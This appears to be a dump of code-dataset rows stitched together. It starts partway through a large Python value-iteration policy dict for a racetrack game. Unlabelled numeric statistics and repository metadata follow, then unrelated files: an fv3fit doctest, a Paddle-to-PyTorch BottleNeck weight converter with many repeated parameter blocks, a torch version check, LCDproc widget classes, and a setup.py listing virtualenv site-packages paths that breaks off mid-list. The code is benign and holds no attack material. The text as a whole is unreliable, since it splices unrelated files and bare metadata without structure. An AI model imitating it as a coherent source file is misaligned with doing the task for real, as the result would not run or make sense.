1), (9, 33, 5, 1): (0, 1), (9, 33, 5, 2): (0, 1), (9, 33, 5, 3): (0, 1), (9, 33, 5, 4): (0, 1), (9, 33, 5, 5): (0, 1), (9, 34, -5, -5): (0, 1), (9, 34, -5, -4): (0, 1), (9, 34, -5, -3): (0, 1), (9, 34, -5, -2): (0, 1), (9, 34, -5, -1): (0, 1), (9, 34, -5, 0): (0, 0), (9, 34, -5, 1): (-1, -1), (9, 34, -5, 2): (-1, -1), (9, 34, -5, 3): (0, 1), (9, 34, -5, 4): (0, 1), (9, 34, -5, 5): (0, 1), (9, 34, -4, -5): (0, 1), (9, 34, -4, -4): (-1, 1), (9, 34, -4, -3): (-1, 1), (9, 34, -4, -2): (0, 1), (9, 34, -4, -1): (0, 1), (9, 34, -4, 0): (0, 0), (9, 34, -4, 1): (-1, -1), (9, 34, -4, 2): (-1, -1), (9, 34, -4, 3): (-1, 1), (9, 34, -4, 4): (-1, 1), (9, 34, -4, 5): (-1, 1), (9, 34, -3, -5): (-1, 1), (9, 34, -3, -4): (0, 1), (9, 34, -3, -3): (0, 1), (9, 34, -3, -2): (-1, 1), (9, 34, -3, -1): (-1, 1), (9, 34, -3, 0): (-1, 0), (9, 34, -3, 1): (-1, -1), (9, 34, -3, 2): (-1, -1), (9, 34, -3, 3): (-1, 1), (9, 34, -3, 4): (-1, 1), (9, 34, -3, 5): (-1, 1), (9, 34, -2, -5): (0, 1), (9, 34, -2, -4): (-1, 1), (9, 34, -2, -3): (-1, 1), (9, 34, -2, -2): (-1, 1), (9, 34, -2, -1): (-1, 1), (9, 34, -2, 0): (-1, 0), (9, 34, -2, 1): (-1, -1), (9, 34, -2, 2): (-1, -1), (9, 34, -2, 3): (-1, 1), (9, 34, -2, 4): (-1, 1), (9, 34, -2, 5): (-1, 1), (9, 34, -1, -5): (1, 1), (9, 34, -1, -4): (1, 1), (9, 34, -1, -3): (-1, 1), (9, 34, -1, -2): (-1, 1), (9, 34, -1, -1): (-1, 1), (9, 34, -1, 0): (-1, 0), (9, 34, -1, 1): (-1, -1), (9, 34, -1, 2): (-1, -1), (9, 34, -1, 3): (-1, 1), (9, 34, -1, 4): (-1, 1), (9, 34, -1, 5): (-1, 1), (9, 34, 0, -5): (1, 0), (9, 34, 0, -4): (1, -1), (9, 34, 0, -3): (1, 1), (9, 34, 0, -2): (-1, 1), (9, 34, 0, -1): (-1, 1), (9, 34, 0, 0): (-1, 0), (9, 34, 0, 1): (-1, -1), (9, 34, 0, 2): (-1, -1), (9, 34, 0, 3): (-1, 1), (9, 34, 0, 4): (-1, 1), (9, 34, 0, 5): (-1, 1), (9, 34, 1, -5): (0, 0), (9, 34, 1, -4): (0, -1), (9, 34, 1, -3): (0, 1), (9, 34, 1, -2): (0, 1), (9, 34, 1, -1): (0, 1), (9, 34, 1, 0): (0, 1), (9, 34, 1, 1): (0, 1), (9, 34, 1, 2): (0, 1), (9, 34, 1, 3): (0, 1), (9, 34, 1, 4): (0, 1), (9, 34, 1, 5): (0, 1), (9, 34, 2, -5): (0, 0), (9, 34, 2, -4): (-1, -1), (9, 34, 2, -3): (0, 1), (9, 34, 2, -2): (0, 1), (9, 34, 2, -1): (0, 1), (9, 34, 2, 0): (0, 1), (9, 34, 2, 1): (0, 1), (9, 34, 2, 2): (0, 1), (9, 34, 2, 3): (0, 1), (9, 34, 2, 4): (0, 1), (9, 34, 2, 5): (0, 1), (9, 34, 3, -5): (0, 0), (9, 34, 3, -4): (-1, -1), (9, 34, 3, -3): (0, 1), (9, 34, 3, -2): (0, 1), (9, 34, 3, -1): (0, 1), (9, 34, 3, 0): (0, 1), (9, 34, 3, 1): (0, 1), (9, 34, 3, 2): (0, 1), (9, 34, 3, 3): (0, 1), (9, 34, 3, 4): (0, 1), (9, 34, 3, 5): (0, 1), (9, 34, 4, -5): (0, 0), (9, 34, 4, -4): (-1, -1), (9, 34, 4, -3): (0, 1), (9, 34, 4, -2): (0, 1), (9, 34, 4, -1): (0, 1), (9, 34, 4, 0): (0, 1), (9, 34, 4, 1): (0, 1), (9, 34, 4, 2): (0, 1), (9, 34, 4, 3): (0, 1), (9, 34, 4, 4): (0, 1), (9, 34, 4, 5): (0, 1), (9, 34, 5, -5): (0, 0), (9, 34, 5, -4): (-1, -1), (9, 34, 5, -3): (0, 1), (9, 34, 5, -2): (0, 1), (9, 34, 5, -1): (0, 1), (9, 34, 5, 0): (0, 1), (9, 34, 5, 1): (0, 1), (9, 34, 5, 2): (0, 1), (9, 34, 5, 3): (0, 1), (9, 34, 5, 4): (0, 1), (9, 34, 5, 5): (0, 1), (9, 35, -5, -5): (0, 1), (9, 35, -5, -4): (0, 1), (9, 35, -5, -3): (0, 1), (9, 35, -5, -2): (0, 1), (9, 35, -5, -1): (0, 1), (9, 35, -5, 0): (0, 0), (9, 35, -5, 1): (-1, -1), (9, 35, -5, 2): (0, 1), (9, 35, -5, 3): (0, 1), (9, 35, -5, 4): (0, 1), (9, 35, -5, 5): (0, 1), (9, 35, -4, -5): (-1, 1), (9, 35, -4, -4): (-1, 1), (9, 35, -4, -3): (0, 1), (9, 35, -4, -2): (0, 1), (9, 35, -4, -1): (0, 1), (9, 35, -4, 0): (0, 0), (9, 35, -4, 1): (-1, -1), (9, 35, -4, 2): (-1, 1), (9, 35, -4, 3): (-1, 1), (9, 35, -4, 4): (-1, 1), (9, 35, -4, 5): (-1, 1), (9, 35, -3, -5): (-1, 1), (9, 35, -3, -4): (-1, 1), (9, 35, -3, -3): (-1, 1), (9, 35, -3, -2): (-1, 1), (9, 35, -3, -1): (-1, 1), (9, 35, -3, 0): (-1, 0), (9, 35, -3, 1): (-1, -1), (9, 35, -3, 2): (-1, 1), (9, 35, -3, 3): (-1, 1), (9, 35, -3, 4): (-1, 1), (9, 35, -3, 5): (-1, 1), (9, 35, -2, -5): (0, 1), (9, 35, -2, -4): (-1, 1), (9, 35, -2, -3): (-1, 1), (9, 35, -2, -2): (-1, 1), (9, 35, -2, -1): (-1, 1), (9, 35, -2, 0): (-1, 0), (9, 35, -2, 1): (-1, -1), (9, 35, -2, 2): (-1, 1), (9, 35, -2, 3): (-1, 1), (9, 35, -2, 4): (-1, 1), (9, 35, -2, 5): (-1, 1), (9, 35, -1, -5): (1, 1), (9, 35, -1, -4): (-1, 1), (9, 35, -1, -3): (-1, 1), (9, 35, -1, -2): (-1, 1), (9, 35, -1, -1): (-1, 1), (9, 35, -1, 0): (-1, 0), (9, 35, -1, 1): (-1, -1), (9, 35, -1, 2): (-1, 1), (9, 35, -1, 3): (-1, 1), (9, 35, -1, 4): (-1, 1), (9, 35, -1, 5): (-1, 1), (9, 35, 0, -5): (1, 0), (9, 35, 0, -4): (1, 1), (9, 35, 0, -3): (-1, 1), (9, 35, 0, -2): (-1, 1), (9, 35, 0, -1): (-1, 1), (9, 35, 0, 0): (-1, 0), (9, 35, 0, 1): (-1, -1), (9, 35, 0, 2): (-1, 1), (9, 35, 0, 3): (-1, 1), (9, 35, 0, 4): (-1, 1), (9, 35, 0, 5): (-1, 1), (9, 35, 1, -5): (0, 0), (9, 35, 1, -4): (0, 1), (9, 35, 1, -3): (0, 1), (9, 35, 1, -2): (0, 1), (9, 35, 1, -1): (0, 1), (9, 35, 1, 0): (0, 1), (9, 35, 1, 1): (0, 1), (9, 35, 1, 2): (0, 1), (9, 35, 1, 3): (0, 1), (9, 35, 1, 4): (0, 1), (9, 35, 1, 5): (0, 1), (9, 35, 2, -5): (0, 0), (9, 35, 2, -4): (0, 1), (9, 35, 2, -3): (0, 1), (9, 35, 2, -2): (0, 1), (9, 35, 2, -1): (0, 1), (9, 35, 2, 0): (0, 1), (9, 35, 2, 1): (0, 1), (9, 35, 2, 2): (0, 1), (9, 35, 2, 3): (0, 1), (9, 35, 2, 4): (0, 1), (9, 35, 2, 5): (0, 1), (9, 35, 3, -5): (0, 0), (9, 35, 3, -4): (0, 1), (9, 35, 3, -3): (0, 1), (9, 35, 3, -2): (0, 1), (9, 35, 3, -1): (0, 1), (9, 35, 3, 0): (0, 1), (9, 35, 3, 1): (0, 1), (9, 35, 3, 2): (0, 1), (9, 35, 3, 3): (0, 1), (9, 35, 3, 4): (0, 1), (9, 35, 3, 5): (0, 1), (9, 35, 4, -5): (0, 0), (9, 35, 4, -4): (0, 1), (9, 35, 4, -3): (0, 1), (9, 35, 4, -2): (0, 1), (9, 35, 4, -1): (0, 1), (9, 35, 4, 0): (0, 1), (9, 35, 4, 1): (0, 1), (9, 35, 4, 2): (0, 1), (9, 35, 4, 3): (0, 1), (9, 35, 4, 4): (0, 1), (9, 35, 4, 5): (0, 1), (9, 35, 5, -5): (0, 0), (9, 35, 5, -4): (0, 1), (9, 35, 5, -3): (0, 1), (9, 35, 5, -2): (0, 1), (9, 35, 5, -1): (0, 1), (9, 35, 5, 0): (0, 1), (9, 35, 5, 1): (0, 1), (9, 35, 5, 2): (0, 1), (9, 35, 5, 3): (0, 1), (9, 35, 5, 4): (0, 1), (9, 35, 5, 5): (0, 1)} game = Game('tracks/L-track.txt', success_chance=.8) vi = ValueIteration(game) # num_steps_taken = vi.execute_policy(x) # print(num_steps_taken) avg_num_steps = 0 for itter in range(100): num_steps = vi.execute_policy(x) avg_num_steps += num_steps avg_num_steps /= 100.0 print(avg_num_steps)
24.880008
52
0.276726
118,163
494,316
1.157494
0.00055
0.16648
0.055779
0.016465
0.997748
0.910838
0.888823
0.871634
0.862509
0.820542
0
0.372237
0.27918
494,316
19,867
53
24.88126
0.011619
0.00018
0
0
0
0
0.000036
0
0
0
0
0
0
1
0
false
0
0.000101
0
0.000101
0.00005
0
0
1
null
0
0
0
1
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
75375a6b5384a95f883762b6f1a0d5aeff004466
180
py
Python
external/fv3fit/tests/keras/test_doctest.py
ai2cm/fv3net
e62038aee0a97d6207e66baabd8938467838cf51
[ "MIT" ]
1
2021-12-14T23:43:35.000Z
2021-12-14T23:43:35.000Z
external/fv3fit/tests/keras/test_doctest.py
ai2cm/fv3net
e62038aee0a97d6207e66baabd8938467838cf51
[ "MIT" ]
195
2021-09-16T05:47:18.000Z
2022-03-31T22:03:15.000Z
external/fv3fit/tests/keras/test_doctest.py
ai2cm/fv3net
e62038aee0a97d6207e66baabd8938467838cf51
[ "MIT" ]
null
null
null
import doctest from fv3fit.keras._models.shared import spectral_normalization def test_spectral_normalization(): doctest.testmod(spectral_normalization, raise_on_error=True)
25.714286
64
0.85
22
180
6.636364
0.727273
0.431507
0
0
0
0
0
0
0
0
0
0.006098
0.088889
180
6
65
30
0.884146
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
true
0
0.5
0
0.75
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
7
754e1621bf34fb30741b36ffe91d925f721c193f
5,258
py
Python
test_grad/test2_53_BottleNeck_grad_2pytorch.py
jie311/miemiedetection
b0e7a45717fe6c9cf9bf3c0f47d47a2e6c68b1b6
[ "Apache-2.0" ]
65
2021-12-30T03:30:52.000Z
2022-03-25T01:44:32.000Z
test_grad/test2_53_BottleNeck_grad_2pytorch.py
jie311/miemiedetection
b0e7a45717fe6c9cf9bf3c0f47d47a2e6c68b1b6
[ "Apache-2.0" ]
1
2021-12-31T01:51:35.000Z
2022-01-01T14:42:37.000Z
test_grad/test2_53_BottleNeck_grad_2pytorch.py
jie311/miemiedetection
b0e7a45717fe6c9cf9bf3c0f47d47a2e6c68b1b6
[ "Apache-2.0" ]
7
2021-12-31T09:25:06.000Z
2022-03-10T01:25:09.000Z
import pickle import six import torch from mmdet.models import BottleNeck ch_in = 64 ch_out = 64 stride = 1 shortcut = False variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 256 ch_out = 64 stride = 1 shortcut = True variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 256 ch_out = 64 stride = 1 shortcut = True variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 256 ch_out = 128 stride = 2 shortcut = False variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 512 ch_out = 128 stride = 1 shortcut = True variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 512 ch_out = 128 stride = 1 shortcut = True variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 512 ch_out = 128 stride = 1 shortcut = True variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 512 ch_out = 256 stride = 2 shortcut = False variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 1024 ch_out = 256 stride = 1 shortcut = True variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 1024 ch_out = 256 stride = 1 shortcut = True variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 1024 ch_out = 256 stride = 1 shortcut = True variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 1024 ch_out = 256 stride = 1 shortcut = True variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 1024 ch_out = 256 stride = 1 shortcut = True variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 1024 ch_out = 512 stride = 2 shortcut = False variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 2048 ch_out = 512 stride = 1 shortcut = True variant = 'd' groups = 1 base_width = 64 lr = 1.0 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False ch_in = 2048 ch_out = 512 stride = 1 shortcut = True variant = 'd' groups = 1 base_width = 64 lr = 0.5 norm_type = 'bn' norm_decay = 0.0 freeze_norm = False dcn_v2 = False std_senet = False model = BottleNeck(ch_in=ch_in, ch_out=ch_out, stride=stride, shortcut=shortcut, variant=variant, groups=groups, base_width=base_width, lr=lr, norm_type=norm_type, norm_decay=norm_decay, freeze_norm=freeze_norm, dcn_v2=dcn_v2, std_senet=std_senet, ) model.train() model_std = model.state_dict() def copy(name, w, std): if isinstance(w, dict): print() value2 = torch.Tensor(w) value = std[name] value.copy_(value2) std[name] = value ckpt_file = '53_00.pdparams' save_name = '53_00.pth' with open(ckpt_file, 'rb') as f: model_dic = pickle.load(f) if six.PY2 else pickle.load(f, encoding='latin1') for key in model_dic.keys(): name2 = key w = model_dic[key] if 'StructuredToParameterName@@' in key: continue else: if '._mean' in key: name2 = name2.replace('._mean', '.running_mean') if '._variance' in key: name2 = name2.replace('._variance', '.running_var') copy(name2, w, model_std) model.load_state_dict(model_std) torch.save(model_std, save_name) print(torch.__version__) ckpt_file = '53_08.pdparams' save_name = '53_08_paddle.pth' with open(ckpt_file, 'rb') as f: model_dic = pickle.load(f) if six.PY2 else pickle.load(f, encoding='latin1') for key in model_dic.keys(): name2 = key w = model_dic[key] if 'StructuredToParameterName@@' in key: continue else: if '._mean' in key: name2 = name2.replace('._mean', '.running_mean') if '._variance' in key: name2 = name2.replace('._variance', '.running_var') copy(name2, w, model_std) model.load_state_dict(model_std) torch.save(model_std, save_name) print(torch.__version__)
17.127036
80
0.628756
840
5,258
3.702381
0.102381
0.023151
0.072026
0.07717
0.850482
0.850482
0.845981
0.845981
0.845981
0.845981
0
0.072936
0.269874
5,258
306
81
17.183007
0.737171
0
0
0.878229
0
0
0.054244
0.010278
0
0
0
0
0
1
0.00369
false
0
0.01476
0
0.01845
0.01107
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f38b7fb27242c070c45634e3957b4311a05009e7
104
py
Python
versions.py
CyrusDobbs/mining-argument-relations-using-transformers
a0732a782a64c1347a0a8ec375df43261b19c931
[ "Apache-2.0" ]
null
null
null
versions.py
CyrusDobbs/mining-argument-relations-using-transformers
a0732a782a64c1347a0a8ec375df43261b19c931
[ "Apache-2.0" ]
null
null
null
versions.py
CyrusDobbs/mining-argument-relations-using-transformers
a0732a782a64c1347a0a8ec375df43261b19c931
[ "Apache-2.0" ]
null
null
null
import torch print("Torch: {}".format(torch.__version__)) print("CUDA: {}".format(torch.version.cuda))
26
45
0.711538
13
104
5.384615
0.461538
0.314286
0.514286
0
0
0
0
0
0
0
0
0
0.067308
104
4
45
26
0.721649
0
0
0
0
0
0.171429
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0.666667
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
1
0
7
f38c84afb5e5323219467e7efc63691905a57722
9,513
py
Python
recipes-webadmin/magicmodem/files/lcdproc/widgets.py
nixiesoft/manaospre
38700be096679f234413977d577e057c730fdba1
[ "MIT" ]
2
2019-03-01T19:19:39.000Z
2021-11-28T03:50:56.000Z
recipes-webadmin/magicmodem/files/lcdproc/widgets.py
nixiesoft/manaospre
38700be096679f234413977d577e057c730fdba1
[ "MIT" ]
null
null
null
recipes-webadmin/magicmodem/files/lcdproc/widgets.py
nixiesoft/manaospre
38700be096679f234413977d577e057c730fdba1
[ "MIT" ]
4
2019-06-29T02:36:22.000Z
2020-08-10T04:12:11.000Z
import urllib.request, urllib.parse, urllib.error class StringWidget(object): """ String Widget """ def __init__(self, screen, ref, x, y, text): self.screen = screen self.ref = ref self.x = x self.y = y self.text = text self.screen.server.request("widget_add %s %s %s" % (self.screen.ref, self.ref, "string")) self.update() def update(self): self.screen.server.request('widget_set %s %s %s %s "%s"' % (self.screen.ref, self.ref, self.x, self.y, self.text)) def set_x(self, x): self.x = x self.update() def set_y(self, y): self.y = y self.update() def set_text(self, text): self.text = text self.update() class TitleWidget(object): """ Title Widget """ def __init__(self, screen, ref, text): self.screen = screen self.ref = ref self.text = text self.screen.server.request("widget_add %s %s %s" % (self.screen.ref, self.ref, "title")) self.update() def update(self): self.screen.server.request('widget_set %s %s "%s"' % (self.screen.ref, self.ref, self.text)) def set_text(self, text): self.text = text self.update() class HBarWidget(object): def __init__(self, screen, ref, x, y, length): self.screen = screen self.ref = ref self.x = x self.y = y self.length = length self.screen.server.request("widget_add %s %s %s" % (self.screen.ref, self.ref, "hbar")) self.update() def update(self): self.screen.server.request("widget_set %s %s %s %s %s" % (self.screen.ref, self.ref, self.x, self.y, self.length)) def set_x(self, x): self.x = x self.update() def set_y(self, y): self.y = y self.update() def set_length(self, length): self.length = length self.update() class VBarWidget(object): def __init__(self, screen, ref, x, y, length): self.screen = screen self.ref = ref self.x = x self.y = y self.length = length self.screen.server.request("widget_add %s %s %s" % (self.screen.ref, self.ref, "vbar")) self.update() def update(self): self.screen.server.request("widget_set %s %s %s %s %s" % (self.screen.ref, self.ref, self.x, self.y, self.length)) def set_x(self, x): self.x = x self.update() def set_y(self, y): self.y = y self.update() def set_length(self, length): self.length = length self.update() class IconWidget(object): def __init__(self, screen, ref, x, y, name): self.screen = screen self.ref = ref self.x = x self.y = y self.name = name self.screen.server.request("widget_add %s %s %s" % (self.screen.ref, self.ref, "icon")) self.update() def update(self): self.screen.server.request("widget_set %s %s %s %s %s" % (self.screen.ref, self.ref, self.x, self.y, self.name)) def set_x(self, x): self.x = x self.update() def set_y(self, y): self.y = y self.update() def set_name(self, name): self.name = name self.update() class ScrollerWidget(object): def __init__(self, screen, ref, left, top, right, bottom, direction, speed, text): self.screen = screen self.ref = ref self.left = left self.top = top self.right = right self.bottom = bottom self.direction = direction self.speed = speed self.text = text self.screen.server.request("widget_add %s %s %s" % (self.screen.ref, self.ref, "scroller")) self.update() def update(self): self.screen.server.request('widget_set %s %s %s %s %s %s %s %s "%s"' % (self.screen.ref, self.ref, self.left, self.top, self.right, self.bottom, self.direction, self.speed, self.text)) def set_left(self, left): self.left = left self.update() def set_top(self, top): self.top = top self.update() def set_right(self, right): self.right = right self.update() def set_bottom(self, bottom): self.bottom = bottom self.update() def set_direction(self, direction): self.direction = direction self.update() def set_speed(self, speed): self.speed = speed self.update() def set_text(self, text): self.text = text self.update() class FrameWidget(object): def __init__(self, screen, ref, left, top, right, bottom, width, height, direction, speed): self.screen = screen self.ref = ref self.left = left self.top = top self.right = right self.bottom = bottom self.width = width self.height = height self.direction = direction self.speed = speed self.screen.server.request("widget_add %s %s %s" % (self.screen.ref, self.ref, "frame")) self.update() def update(self): self.screen.server.request('widget_set %s %s %s %s %s %s %s %s %s %s' % (self.screen.ref, self.ref, self.left, self.top, self.right, self.bottom, self.width, self.height, self.direction, self.speed)) def set_left(self, left): self.left = left self.update() def set_top(self, top): self.top = top self.update() def set_right(self, right): self.right = right self.update() def set_bottom(self, bottom): self.bottom = bottom self.update() def set_width(self, width): self.width = width self.update() def set_height(self, height): self.height = height self.update() def set_direction(self, direction): self.direction = direction self.update() def set_speed(self, speed): self.speed = speed self.update() class NumberWidget(object): def __init__(self, screen, ref, x, value): self.screen = screen self.ref = ref self.x = x self.value = value self.screen.server.request("widget_add %s %s %s" % (self.screen.ref, self.ref, "num")) self.update() def update(self): self.screen.server.request('widget_set %s %s %s %s' % (self.screen.ref, self.ref, self.x, self.value)) def set_x(self, x): self.x = x self.update() def set_value(self, value): self.value = value self.update()
28.567568
122
0.389888
897
9,513
4.047938
0.053512
0.029744
0.031396
0.024236
0.854586
0.854586
0.845773
0.81355
0.795373
0.788763
0
0
0.51498
9,513
333
123
28.567568
0.786953
0.002838
0
0.810427
0
0.004739
0.043809
0
0
0
0
0
0
1
0.218009
false
0
0.004739
0
0.260664
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
1
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
9
cacbebe378f5561f5f0ba3d416a58a0a29df1caf
7,603
py
Python
setup.py
Folamh/atreoraigh
97a4fba51908df6aa2f3a34f934fce6ef1bc5dcc
[ "MIT" ]
null
null
null
setup.py
Folamh/atreoraigh
97a4fba51908df6aa2f3a34f934fce6ef1bc5dcc
[ "MIT" ]
null
null
null
setup.py
Folamh/atreoraigh
97a4fba51908df6aa2f3a34f934fce6ef1bc5dcc
[ "MIT" ]
null
null
null
from setuptools import setup setup( name='Atreoraigh', version='1', packages=['venv.lib.python3.6.site-packages.scapy', 'venv.lib.python3.6.site-packages.scapy.arch', 'venv.lib.python3.6.site-packages.scapy.arch.windows', 'venv.lib.python3.6.site-packages.scapy.asn1', 'venv.lib.python3.6.site-packages.scapy.tools', 'venv.lib.python3.6.site-packages.scapy.crypto', 'venv.lib.python3.6.site-packages.scapy.layers', 'venv.lib.python3.6.site-packages.scapy.contrib', 'venv.lib.python3.6.site-packages.scapy.modules', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.req', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.vcs', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.utils', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.compat', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.models', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.distlib', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.distlib._backport', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.colorama', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib._trie', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.filters', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.treewalkers', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.treeadapters', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.treebuilders', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.lockfile', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.progress', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.chardet', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.util', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.contrib', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.packages', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.packages.ssl_match_hostname', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.packaging', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.cachecontrol', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.cachecontrol.caches', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.webencodings', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.pkg_resources', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.commands', 'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.operations', 'venv.lib64.python3.6.site-packages.scapy', 'venv.lib64.python3.6.site-packages.scapy.arch', 'venv.lib64.python3.6.site-packages.scapy.arch.windows', 'venv.lib64.python3.6.site-packages.scapy.asn1', 'venv.lib64.python3.6.site-packages.scapy.tools', 'venv.lib64.python3.6.site-packages.scapy.crypto', 'venv.lib64.python3.6.site-packages.scapy.layers', 'venv.lib64.python3.6.site-packages.scapy.contrib', 'venv.lib64.python3.6.site-packages.scapy.modules', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.req', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.vcs', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.utils', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.compat', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.models', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.distlib', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.distlib._backport', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.colorama', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib._trie', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.filters', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.treewalkers', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.treeadapters', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.treebuilders', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.lockfile', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.progress', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.chardet', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3', 'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.util', 